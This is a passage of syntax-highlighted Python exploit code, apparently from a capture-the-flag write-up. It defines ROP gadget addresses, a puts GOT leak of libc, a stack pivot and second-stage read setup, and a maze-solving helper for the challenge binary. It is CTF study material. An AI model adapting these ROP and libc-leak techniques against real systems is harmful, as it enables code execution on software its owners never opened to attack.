class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[+] %s\\n&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-39\" class=\"crayon-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">err<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[-] %s\\n&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-40\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">err<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-41\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-42\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">read_until<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-st\">end<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-43\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-44\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">endswith<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-st\">end<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-45\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">c<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-46\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">c<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-47\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;EOF\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-48\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-49\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-i\">c<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-50\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-v\">buf<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-51\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-52\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-53\" class=\"crayon-line\"><span class=\"crayon-p\">### ROP chain gadgets and other addresses<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-54\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-55\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-56\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Used as a &#8220;NOP sled&#8221;-equivalent for the ROP chain<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-57\" class=\"crayon-line\"><span class=\"crayon-v\">gadget_ret<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x400f64<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-58\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-59\" class=\"crayon-line\"><span class=\"crayon-p\"># Used to set RDI (1st arg)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-60\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">gadget_pop_rdi_ret<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x400f63<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-61\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-62\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Used to set RSI (2nd arg)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-63\" class=\"crayon-line\"><span class=\"crayon-v\">gadget_pop_rsi_rxx_ret<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x400f61<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-64\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-65\" class=\"crayon-line\"><span class=\"crayon-p\"># Used to set EBP (for the stack pivot)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-66\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">gadget_pop_rbp_ret<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x400ab0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-67\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-68\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Used to pivot the stack<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-69\" class=\"crayon-line\"><span class=\"crayon-v\">gadget_leave_ret<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x400e96<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-p\"># not actually leave\/ret, but close enough<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-70\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-71\" class=\"crayon-line\"><span class=\"crayon-p\"># Address of the GOT-entry for puts(), used to leak a libc address<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-72\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">puts_got<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x606028<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-73\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-74\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Scratch buffer address: Will pivot the stack to this address later<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-75\" class=\"crayon-line\"><span class=\"crayon-v\">temp_addr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x606500<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-76\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-77\" class=\"crayon-line\"><span class=\"crayon-p\"># Address of PLT-entry for read(): Used to read in the 2nd stage ROP payload<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-78\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">read_addr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x400850<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-79\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-80\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Address of PLT-entry for puts(): Used to leak a libc address in stage 1<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-81\" class=\"crayon-line\"><span class=\"crayon-v\">puts_addr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x4007f0<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-82\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-83\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-84\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">### Maze solving helper<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-85\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-86\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-87\" class=\"crayon-line\"><span class=\"crayon-v\">NONE<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-p\"># Not visited yet<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-88\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">WALL<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-p\"># This position contains a wall<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-89\" class=\"crayon-line\"><span class=\"crayon-v\">GOAL<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">2<\/span> <span class=\"crayon-p\"># This is the position we are searching for<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-90\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">DONE<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">3<\/span> <span class=\"crayon-p\"># Used to mark positions that have already been visited<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-91\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-92\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Simple recursive algorithm to solve the maze. Does not find an optimal<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-93\" class=\"crayon-line\"><span class=\"crayon-p\"># path, but good enough. Does not include sub-paths leading to dead ends,<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-94\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># that are backtracked during the search.<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-95\" class=\"crayon-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-96\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># Yeah&#8230; Ugly, but gets the job done. \ud83d\ude1b<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-97\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-m\">global<\/span> <span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">max_x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">max_y<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-98\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-99\" class=\"crayon-line\"><span class=\"crayon-e\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-v\">GOAL<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-100\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># The path is created in reverse, while backtracking<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-101\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-102\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">True<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-103\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">elif <\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-e\">WALL <\/span><span class=\"crayon-st\">or<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-v\">DONE<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-104\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">False<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-105\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-106\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">DONE<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-107\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-108\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-e\">max_x <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-109\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-110\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-111\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">&lt;<\/span> <span class=\"crayon-e\">max_y <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-112\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># Inserting instead of appending, since we are backtracking<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-113\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">insert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-114\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">True<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-115\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-116\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">False<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-117\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-118\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-119\" class=\"crayon-line\"><span class=\"crayon-p\">### Solve the maze<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-120\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-121\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-122\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Extracting maze data from the binary&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-123\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-124\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Extract the maze data from the binary<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-125\" class=\"crayon-line\"><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-126\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">with <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_path<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-st\">as<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-127\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">seek<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_offs<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-128\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_size<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-129\" class=\"crayon-line\"><span class=\"crayon-v\">except<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-130\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Could not extract maze data from binary&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-131\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-132\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># The maze data = array of x,y coordinates for all squares containing walls<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-133\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-134\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">arr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-135\" class=\"crayon-line\"><span class=\"crayon-v\">max_x<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-136\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">max_y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-137\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-138\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Iterate through the buffer, two chars at a time<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-139\" class=\"crayon-line\"><span class=\"crayon-st\">for<\/span> <span class=\"crayon-v\">a<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">b<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">zip<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">iter<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-140\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">ord<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">a<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">ord<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">b<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-141\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-v\">max_x<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">max_x<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-i\">x<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-142\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">&gt;<\/span> <span class=\"crayon-v\">max_y<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">max_y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-i\">y<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-143\" 